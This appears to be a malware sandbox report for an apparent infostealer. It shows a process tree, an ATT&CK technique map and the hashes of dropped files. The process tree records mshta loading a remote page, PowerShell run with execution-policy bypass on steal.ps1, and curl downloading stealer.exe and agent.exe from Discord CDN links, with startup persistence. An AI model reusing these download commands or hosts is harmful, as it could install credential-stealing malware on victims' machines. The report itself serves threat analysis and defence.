    - Suspicious use of AdjustPrivilegeToken
    PID:1120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\stealer.exe" --max-time 60 "https://cdn.discordapp.com/attachments/1520220324178690158/1545762547318259832/winlogon.exe?ex=6a9ea48e&is=6a9d530e&hm=6bb8bdd954350f4981ee34a2163960563d53fb00b7cc6327b2e4965b0e135866&"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\system32\curl.exe
    curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\stealer.exe" --max-time 60 "https://cdn.discordapp.com/attachments/1520220324178690158/1545762547318259832/winlogon.exe?ex=6a9ea48e&is=6a9d530e&hm=6bb8bdd954350f4981ee34a2163960563d53fb00b7cc6327b2e4965b0e135866&"
    3⤵
    PID:768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\agent.exe" --max-time 90 "https://cdn.discordapp.com/attachments/1520220324178690158/1546215370137018429/svchost.exe?ex=6a9ef8c7&is=6a9da747&hm=34088a46936c10debbbffc47504da7f2ad0b850196634adb537f0b8aba01a84f&"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:412
- - C:\Windows\system32\curl.exe
    curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\agent.exe" --max-time 90 "https://cdn.discordapp.com/attachments/1520220324178690158/1546215370137018429/svchost.exe?ex=6a9ef8c7&is=6a9da747&hm=34088a46936c10debbbffc47504da7f2ad0b850196634adb537f0b8aba01a84f&"
    3⤵
    PID:696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 121 127.0.0.1 > nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:768
- - C:\Windows\system32\PING.EXE
    ping -n 121 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4972

C:\Windows\system32\mshta.exe
mshta https://onlinedicerigger.com/start
1⤵
- Badlisted process makes network request
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\stealer.exe" --max-time 60 "https://cdn.discordapp.com/attachments/1520220324178690158/1545762547318259832/winlogon.exe?ex=6a9ea48e&is=6a9d530e&hm=6bb8bdd954350f4981ee34a2163960563d53fb00b7cc6327b2e4965b0e135866&"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Windows\system32\curl.exe
    curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\stealer.exe" --max-time 60 "https://cdn.discordapp.com/attachments/1520220324178690158/1545762547318259832/winlogon.exe?ex=6a9ea48e&is=6a9d530e&hm=6bb8bdd954350f4981ee34a2163960563d53fb00b7cc6327b2e4965b0e135866&"
    3⤵
    PID:1128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\agent.exe" --max-time 90 "https://cdn.discordapp.com/attachments/1520220324178690158/1546215370137018429/svchost.exe?ex=6a9ef8c7&is=6a9da747&hm=34088a46936c10debbbffc47504da7f2ad0b850196634adb537f0b8aba01a84f&"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:696
- - C:\Windows\system32\curl.exe
    curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\agent.exe" --max-time 90 "https://cdn.discordapp.com/attachments/1520220324178690158/1546215370137018429/svchost.exe?ex=6a9ef8c7&is=6a9da747&hm=34088a46936c10debbbffc47504da7f2ad0b850196634adb537f0b8aba01a84f&"
    3⤵
    PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 121 127.0.0.1 > nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4664
- - C:\Windows\system32\PING.EXE
    ping -n 121 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Size 808B
SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
MD5 878e958d6bff424e59d1feb51584a01f
SHA1 b11261559bbea40f1874448196e2934277a537e9
SHA512 6481a56d17126cf94901bed6f418af28f63089da57af4258fb13e468063c4d7849f78ca00a0e4a72c249a639afc8304669f99e48a360008f8e64172ab3133213
TLSH
T18D0152CD6E2925408AB18A334AB9C4970DB9724A3AD5910C4453A4A024D07588F0F54E
MD5 SHA1 SHA512 TLSH

Submit Download

5979D6158FDFB41441CBDEBA5B8D6114

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5979D6158FDFB41441CBDEBA5B8D6114
Size 177KB
SHA256 ca905805328be5e194e02a1f71cf5f8da6e4c49a253707a7ba4343b73c043e07
MD5 6124a701ad5c3dacb9bed161b945051d
SHA1 54ee1fe5c4461cc07b96506d157e80e2c67b1d23
SHA512 995c0889efa83842be7b28104cb80d4428b88b0e0f748cf470f08418930186b2582c0a23ea9f2d5ad2d225ee322ca0d173d993e74c8e973c3a449a7fe7e69b5a
SSDEEP 1536:BZhYlJt6W2HNEdiAYP98eauZEtKjiAUUU29o2c+xHCRv/QJgd5mFDDHrBxyLRFp0:BZoS7cyTGP+GmpF7Wpl0m5KXcfiEA
TLSH
T194044CA85C7BF6A05D4BCF624CAEC69617F591D93812632A8E347E505F03A9FDE130B0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DB10B81C43BD0942511BF0E2D7104D61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DB10B81C43BD0942511BF0E2D7104D61
Size 180KB
SHA256 ab2fc18ebef4b9963a56d69aa1612e2a99f39feb3073c3c5faf7e6e904a51a6c
MD5 beac5889641b83c596c2c0359a8209bb
SHA1 bfd5054a0316f2e593af2332ef7e86c52f63c2db
SHA512 c80a82b617170276493cd3b403f98534d762cabbecd3341ce1fffba21b0ce6e6911ac6de5d179e22a832fad31bbf97b4e70fc96d0e1858bf4faec4bbf8617af7
SSDEEP 3072:H4m48QLK/YPXvcyH0izb9UzWCLK3/yO4xVhUG:H40AP/ci0GJ/CkKrVP
TLSH
T1AF043BA46C7BB6AD5D4BCE527CBEC69612F591DA2811633A8E347E505C03A9FDF0F080
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

F15827BEC5BABE89C21DCDAE77464BF1

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F15827BEC5BABE89C21DCDAE77464BF1
Size 701B
SHA256 108dd34232a3088b45534933d0486409616a2bbad94fd8f7ab5991c01ff179b6
MD5 2b24bfcd271b4f2bd1bb9c58db53c20d
SHA1 12a18dbf2f27f02650e15c0d75e1bb7c50cf3d4b
SHA512 785dd247c3809434ad535b7c954c20c4d5661c00d9bf274fa9ca68595fd5dd98eced3b3e3602593da20bf810edd6b5f3592703176a61e15033267271b8750938
TLSH
T18F019E1983B02F025F801E462200D0628EFCF3DCAC243B89AAD9E8021805BA0A9D81DE
MD5 SHA1 SHA512 TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 552ed026b77d6bb405a935edfb06d42778a17635877502fd6d4561d79ecc5ec0
MD5 7bcee222df23b60e61355b955fe88ccc
SHA1 4b6afbdf5bb6817eeda615777c89819630801e62
SHA512 7d05a579a964fbfe8cede740399a34f3469863dc25b1cfa29e429858f9eb991f62ad92d03e69e6f8ce7ff066d1fa0798b92cccf523100fb84e52466ec2085450
TLSH
T123C08C1C2AA20A06F2A8437C02C139039B208101E2418F151AF12A08C99AB1A3838C6E
MD5 SHA1 SHA512 TLSH

Submit Download

5979D6158FDFB41441CBDEBA5B8D6114

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5979D6158FDFB41441CBDEBA5B8D6114
Size 246B
SHA256 047d340f8bacc567d7f7a5f36f60e2fd8af6e048258205c7dc8898c80a4c3e7e
MD5 82b599071130fa90387057dd923ea262
SHA1 ae745ea3ee932875d4e4b3acc43e2e3e7e74ff6b
SHA512 e4974fc136366f79965c2aecc8c5479c407a8d752fce541ddf4baf19a74be8f1b5a7f5a1aa9ce1d5eed532a8b3f6d75efc7c5e465427d5e577bb4d2da62527c8
TLSH
T11ED022281B240366F836CB3B0C712A858BA25015B74103081FB202098C5CF002E2380C
MD5 SHA1 SHA512 TLSH

Submit Download

DB10B81C43BD0942511BF0E2D7104D61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DB10B81C43BD0942511BF0E2D7104D61
Size 246B
SHA256 7d3413424a9b6b84bbec2e573cbb1ae6f091c1f765c3ac06a957a9f7a39aa630
MD5 d2d099004d47c4f03155ddac6ac01933
SHA1 693e7c13721599c37ff38ac5b436d3b39e0943bc
SHA512 87b0be3354ab0831a77b6d14950a26f71e636ef7e2e6ccfbe15b5adbbbaec84883390bcb4abb5a6ce8270145af100278f07625842b689cc3354d472f0e7fc265
TLSH
T1FAD0A7182B640236E12583B9946204C09D24561771415F464A6A0219006ED421F51C09
MD5 SHA1 SHA512 TLSH

Submit Download

F15827BEC5BABE89C21DCDAE77464BF1

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F15827BEC5BABE89C21DCDAE77464BF1
Size 192B
SHA256 b219a815da37d5545d3f1e5282588ff9a20ac69b7543f05a4d3bbe820aa84308
MD5 d1e5df7c67abc9e71a5baf3df3b6c836
SHA1 e651a2a82c0badbc9ac3bdf51847edb39dfbfa81
SHA512 9198674847e33c745523c82c6c8a57d1fe0d3dff6bea57da390d3dc5e9320d913e6cbe7c68b768d8f1ad30bb18cb0fe273091c5be37e7572c264459a3914494a
TLSH
T1FDC08C1C06610A26F2E883B902C239838A208110F382EF112AB22A0CCD38F122834C29
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
TLSH
T19651CE323375B1D889163F47192C5AC463BF8355FA94AF4CB698620ED92741B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 f0ead82c3c8a4cd9959a8cd1cef74705c67e276b4a574243e75c890cb0b0b8fe
MD5 f8a5a8774310485121aa8917052b352c
SHA1 78542cc17bce16f7d0117a4beed6ae29c39c3042
SHA512 94c06ac4086f7321e54c95657a2fc0769092ed3577572d27a9a75f404a57f6b0c02e9bb5c1e8c0c285a577d89a5801c60face4ebf1cee334d6be346c240f09ad
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7C:fwUQC5VwBIiElEd2K57P7C
TLSH
T1D5B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 dcfc4c476f41db2d6042449b7b855b9751140e2127be8e8208aafd46a5893b7d
MD5 08e448ed3ad1512fa216c2eea50fff9a
SHA1 2d684e6af180cff0b8adea283dbb0c009102fc3e
SHA512 f9ebe4d980c84e665fbd9643a31fbc7a6b08028d289cd54ea7400acc1d6a7d231dd7952c9c49775207225efebf00cdaaf6a2b295dbeac8f234ed7bdfa52c4693
TLSH
T122D0C073050D0000EA0D41312073C7050313BB210E013C03B855F8381D708C9438F1C0
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 89ab71a3a4e732da8cbbe2e13ba149e13c94226b7119c8a0598106b99907544f
MD5 ca938be236bc251b79a4ee9dbf06dd19
SHA1 2ed95a78846a95a90b8d9b70e9cdc6188f0ce608
SHA512 caf4662a529a373a26b513e285938286f3af46a8729fb4c0be324b084fdba1e10dacca4b8f67585c4a5c6683f45dc7e259548eaf3ffb985905aeefbb7225e0e7
TLSH
T124D0C073050D0000EE0D41312073C7050313BB210E017D03B855F8380D708C9438F1C0
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 d4e5b891dac3bd40986ec5c3f24f3579852c64eb936b2700906e6af82de464b0
MD5 d5b9aaf9f37318bc457a530d94420c5f
SHA1 14ffe126a584f21506662ea6b357c653f1123d56
SHA512 515977916afcc7964f9cfd7c36e210b5b99c76a7c5b84f4a9f21b0fb64117577ae20daf91674c28c3377fd80c417e5320500538f62cffeaf97522039f73d3d52
TLSH
T1CD718D5001CF8BC3EF761233A8D202F6B4B0B09B1A634F14C5BCAAB66A25753CCD7518
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58b10b.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58b10b.TMP
Size 3KB
SHA256 5be030e2bcb089fb51fe9eff781d948ce151a32201d40c4ddbf898e1bcf8e91b
MD5 f9ed03f69c4c1ca374a3016dadcfbcec
SHA1 93ac6f138e06bd0a8d5abd3855d4c2059aa98983
SHA512 867492e32413cd72daccfd1b0e62e222d6ce17ea0cdc6f7a0e5105c586ad96c564126f35cc281211f3672cc2b4083b37bc15f7a373d78b3fe434498275b06fe4
TLSH
T1C8718D5002CF8BC3EF761233A4D202F2B4B0B09B1A634F19C57C6AB26A25753CCD7518
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 80dde2bda5c43e2dba503f3a612bb8ec3443461551155eee481c98d613e0c1f1
MD5 3c0882647d6d85864e6583464559c96d
SHA1 d425bdec0bcba7f512c75065530dc8b4d9451777
SHA512 9a9cd387f33a62023f62d5b160b8b7def2bd5db7546c6d2a63872cc5ffe73920a76194c75c6d83d6e1605d10ae5f9f325b282b82377eeed067b586612d02affb
TLSH
T15D217BF383E586AE8A2553F06A24AF2BDE2D0512432C3C16C5D4AF27E3F34A5E10165B
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 c2a0554043d6cc20db03bf86bf232ec6b7d801c1ce7810eeba6fa1a9d974d4d2
MD5 0fbf4f832f892a1b4d0bbe2446407585
SHA1 8e6cea3cca1a926de755598b66845f2debbd5687
SHA512 0a42d3a3207ee856bdc1e53f369bc88e67bc33d110eb99d44ebffe2d58455165480a1f17900861bd89fabd7142ef4f5ade7c08577ff91c4973ab2fc2d537a864
SSDEEP 192:sxZERuyM/jK1Ml8UQrFQl/fAsjN8YXIdpn9S/W6+WNkpu/Y01jqoJ/lIg5iJ:sxZEYqh2/fAsjN8d9S/bd/519RE
TLSH
T10252E9526A346977CCDBD209F955BF53D6F91472A2904E44AAFCCA1C00E6BED2213C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 39f0524a026c25e2e18701bb39b165c35676b665ade910fe8e878b5b5897b197
MD5 19f3406bc66223205969ae223c6b48ed
SHA1 e8cde0347986b3a806f7400157ec416301f50cf8
SHA512 3143cf3292384276066b2326f9fa40deb1a97118cc6dfb66dab28d67b09f59af38bf3ddf88b49f5cd85a55ac662ee75c213f31daafb182965b4f8754654f3990
SSDEEP 192:sxZERuyM/jK1Ml8MFQl/fAs1NsYXIdpB9S/W6+WNkpu/Y01jJMslIgrJ:sxZEYd2/fAs1NsdTS/bd/51Z9
TLSH
T18F52F8026A346977CCDBD209F955BB53D6F91472E2900E44AAFCCA1C04E6BED2207C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 31KB
SHA256 4c29f330ff98f37dd26794695fec668417f10dade2a3469cea5a723ebf5b3738
MD5 8a749822bf6efd2adc5b9b2a67d6208c
SHA1 b269b3846f96d39be71bbe980b8d275029d615ec
SHA512 5e288cf9c04e2db42ff3acbeafb4f46834398a85c8ffeadae90adc797d0bb06817f19c481d777adb67400c3fe0a1a3964edb488c68465af21b4bccc3bf78466b
SSDEEP 768:fM4bSV4b+8b4bm254bRWRmG4b/QB4bH8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3c4h:fzu+68si2y1WRmlzQqju1jaKDILpZ8UQ
TLSH
T165E22A3B280CCB7E4F844E5CEC26AF966ED802CB66684D5447FE494C03C77EB521A59B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 5a2f69ee60d95fc34147a3593f48fa5ef99a91dc7962a8333593c1db04b3d085
MD5 69264dbd384705bd75d0c19dff9040ff
SHA1 6acb8fc5b0084b8468ad1070ff3052c35941de2e
SHA512 8164bfae757c847250c71d41ecd11fdecffee246c76326996def1e4cc679d6dd66b066fe428f3b74ed6cee2dcc258b523dd7419ed62c03fb9c6253abb383c3f7
SSDEEP 48:KZYBMIamKAmObTI3QAKoVwyA8AQ9rS4NyhCI/KjiY3yF5IlKCgArBQnbpLnzz:Kgn2KQA2iC0KjiyW5mKCgABQnbpLnzz
TLSH
T12A919C8235FA52413C7E2909B2A4EB1A0681F3633114E5AB77E804B74E67E741CFD8ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 f343dafc01f7c11d861b19b2dff615106119fdcc07793b357969ffc56c97eff4
MD5 cf150f2b50daa534899990cb774e2267
SHA1 384467ab9cf83b2a200a46b6602b1e82af361b70
SHA512 318c9c7a746af5b8a4f7880a66ba7264f9413360d72bd23e62b855d499a019d3d3b5307c729cd9c56f5098ffc15160536140a7d02d5344b4acb481ee904e6f8c
SSDEEP 384:b+ZcIy8N3mg2CEoluur3b+AX8uRlmXvrZUhdsa+VYI6o3:IyyEDCrpdRlGdUhdhgw8
TLSH
T13EB219F158E76876D9AE5343B77E2D028EBCD05772882A40B3D86A1DCC9667FC306817
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 5899a75b2ce61faba5133bf18c3d996b009f8542a2202371f52f6393cda7a8ae
MD5 139ad3d54772091988c0caed5b735386
SHA1 c7a812be05d403a2b0dd728622d43e35266fc181
SHA512 5447612d14a653bfaf793ac46b71c59a6b4a1d7772f97cd77e7a262a1cb269930d19500b0a9e8dbe0ae31c2040e86359370939628de485f90a3b6313211fb52b
SSDEEP 384:0ZcIk8N3zg2CEolNur3b+AX8uRlmXvrZzhdsa+VYI6o3:ykdEkCrpdRlGdzhdhgw8
TLSH
T1F3826C325D78AC7759F7A285B98732038FB85067A7C86F84D5ECAB1D04DA6AC1307C1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 2caf9fe1f50882bb1e84b84d83379c8f1177370b2a61c44bccb0eeb6bff08be4
MD5 f6397fe5b859a5d66637a2a1c191b140
SHA1 e6b5e62e178cc511d921c8351d36814255644174
SHA512 e28c744f608dfdfe1919f426201729d9157c00001c84033def24d1f94ab4f2e1044b393cdcf93f242726a5277e5f601e6371a89d2fb0155425c0087e4e0255b9
SSDEEP 384:4ZcIk8N3mg2CEolNur3b+AX8uRlmXvrZzhdsa+VYI6o3:GkyEkCrpdRlGdzhdhgw8
TLSH
T168826C725D78AC7759F7A285B98732038FB89067A7CC6F8095ECAB1D04DA66C1307C1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 17e63142f76783dfa6ae355de5430e2172dfd2c8d3535ef0fff91ea24376a7b9
MD5 a84d2cae444337c6bd2cb7903934459c
SHA1 56828737753ed216bcba2cc3b45c6506193fdeed
SHA512 a68a2832e8d25a1281a58283ffce0cfe376ff1a9c7facb8d9fbd5d3366219db2c5af2d0c0092773972ce8e81de6f07557af7668274e9edf6b36109bace0286ec
SSDEEP 384:4ZcIk8N3Pg2CEolNur3b+AX8uRlmXvrZzhdsa+VYI6o3:GkpEkCrpdRlGdzhdhgw8
TLSH
T155826C725D78AC7759F7A285B98732038FB85067A7C86F80D5ECAB1D04DA6AC1307C1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 543bb3e82a3b2e8b277cd160b1867f73bf4002f7f66e59b04d5af3db8ae4f2e9
MD5 24d954d8d4e0f2151a88e047802bd5ad
SHA1 d1af731b6461dfbc99e06f04f5bdaceceb1d85d6
SHA512 715a811019254e248fd4f7f13c53620c7b4fe1e03c5ed74598cd0b02d5d2fdeb9cc34c01f0cbb9710691b69e62b0d870d619b07f8a4aa2a55bb3645ab12eff2b
SSDEEP 192:nRGNT6yMQmiUyfJmT1Y3b+jcPjzorraeoVnXMnh2/rU6:RGNT6x4o1Y3b+AX8uRlahErU6
TLSH
T15602D735A8787CB79EF36E45B88727138FE4103BEA852F84D6E82B1C00D765C2347826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 18bb74dac3e4e4f7ccf5155adb335bd6458552decb5e5f5ffa3387b86d63c3eb
MD5 367a1957008213293df38290624370bd
SHA1 1a3b723d4c564444f7aaea2662cfda18d2986e3b
SHA512 6da8ef6480fcc0c0838817563f6431613e6523c8d3209dcd3ae6b638f521da98c91a07278f0504e53dc8cc299d4a157fce5c1939835e109076e2a512283758e0
SSDEEP 192:BGNq6yzQmiUy30TKY3b+jcPjzorraeoVnmXvrZv4Mh/q2U6:BGNq6YfKY3b+AX8uRlmXvrZdhdU6
TLSH
T1E812F932A878BC771EE36585B48731038FE5112BEA887F80D6EC2B1C05DF66C134A857
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fa868556-5e34-4054-8135-8aa5985d8682.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\fa868556-5e34-4054-8135-8aa5985d8682.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

start[1].txt

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\41JXS326\start[1].txt
Size 20B
SHA256 c8ee399a32e8ee082eeb1e2146d7b9df65f6e209edb492b37c9ea1bb9e37868a
MD5 6fe2da2c5d3db3ece8243cd7f661877d
SHA1 aa403043e659acd9ac5e96a6f9a278b6f7c0fb9d
SHA512 178f7c3600cf2a548166c8c008bcbb479bdcb0ba8b9d163f942a832607979624aa062a3037acc5ebdbf02ea171921fc9a312f4aab10d25898951342d4843ea56
MD5 SHA1 SHA512

Submit Download

start[1]

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\EZT3JBBE\start[1]
Size 7KB
SHA256 d1484e73d320bd48fddfdf058a20a8df0363fce535c77a9b1dc88bd9ba93d0a2
MD5 dfd16de3b43dd2ae143e58bd82899686
SHA1 fc07c260b692d0d34669b466352bde99d74c675f
